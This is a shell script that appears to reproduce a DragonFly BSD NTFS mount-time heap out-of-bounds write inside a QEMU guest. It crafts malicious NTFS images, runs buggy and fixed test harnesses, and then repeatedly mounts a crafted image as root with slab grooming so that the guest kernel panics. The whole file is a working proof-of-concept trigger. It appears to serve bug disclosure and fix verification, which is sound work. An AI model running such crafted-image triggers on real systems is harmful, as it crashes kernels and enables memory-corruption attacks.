#!/bin/sh
# DF-0871 run: live reproduction of the ntfs_mountfs $AttrDef heap OOB write.
# Requires a DragonFly guest with the ntfs.ko module and /sbin/mount_ntfs.
# The mount step is privileged (vfs.usermount=0, root only).  The bug is at
# MOUNT time, so root performs the trigger; the harness is unprivileged.
#
# VM="${VM:-./dfbsd-qemu/vm.sh}"  -- run from the repo root so vm.sh resolves.
set -e
cd "$(dirname "$0")"

VM="${VM:-./dfbsd-qemu/vm.sh}"

echo "[run] host: crafting evil NTFS images"
python3 craft_img.py ntfs_evil.img 2
python3 craft_img.py ntfs_evil_n1.img 1

echo "[run] copying images + harnesses into the guest (root)"
scp -F dfbsd-qemu/config ntfs_evil.img ntfs_evil_n1.img \
    harness.c harness_fixed.c dfbsd:/root/df0871/ 2>/dev/null || \
  $VM run_root 'mkdir -p /root/df0871'

echo "============================================================"
echo "[run] A) DETERMINISTIC harness (no slab luck needed)"
echo "   buggy  -> SIGSEGV at j=72 (writes past 72-byte ntvattrdef)"
echo "   fixed  -> exit 0, 0 bytes past the allocation"
echo "============================================================"
$VM run_root 'cd /root/df0871 && cc -O2 -o harness harness.c && cc -O2 -o harness_fixed harness_fixed.c && echo "-- buggy num=1 --" && (./harness 1; echo exit=$?) | tail -3 && echo "-- buggy num=2 (cross-entry) --" && (./harness 2; echo exit=$?) | tail -5 && echo "-- fixed num=1 --" && (./harness_fixed 1; echo exit=$?) && echo "-- fixed num=2 --" && (./harness_fixed 2; echo exit=$?)'

echo "============================================================"
echo "[run] B) LIVE kernel heap OOB (unfixed ntfs.ko)"
echo "   mount crafted num=1 image in a churn loop -> heap corruption"
echo "   into adjacent slab chunk; victim object deref -> PANIC"
echo "   (kqueue_register fault at 0xffffffffffffffff)."
echo "   NOTE: panic is timing/layout-dependent (slab grooming);"
echo "   repeat the churn until it fires, or rely on the harness"
echo "   for the deterministic proof."
echo "============================================================"
$VM run_root 'kldload ntfs 2>/dev/null; for i in $(seq 1 15); do umount /mnt 2>/dev/null; vnconfig -u vn0 2>/dev/null; vnconfig -c vn0 /root/df0871/ntfs_evil_n1.img 2>/dev/null; mount -t ntfs -o ro /dev/vn0 /mnt 2>/dev/null && echo "evil n1 cycle $i mount ok"; done; echo CHURN_DONE; umount /mnt 2>/dev/null; vnconfig -u vn0 2>/dev/null' || true

echo "[run] post-churn status (may be DOWN after the panic):"
$VM status || true
echo "[run] panic signature (from dfbsd-qemu/boot.log):"
grep -E 'Fatal trap|fault virtual|Stopped at|panic:' dfbsd-qemu/boot.log | tail -8 || true
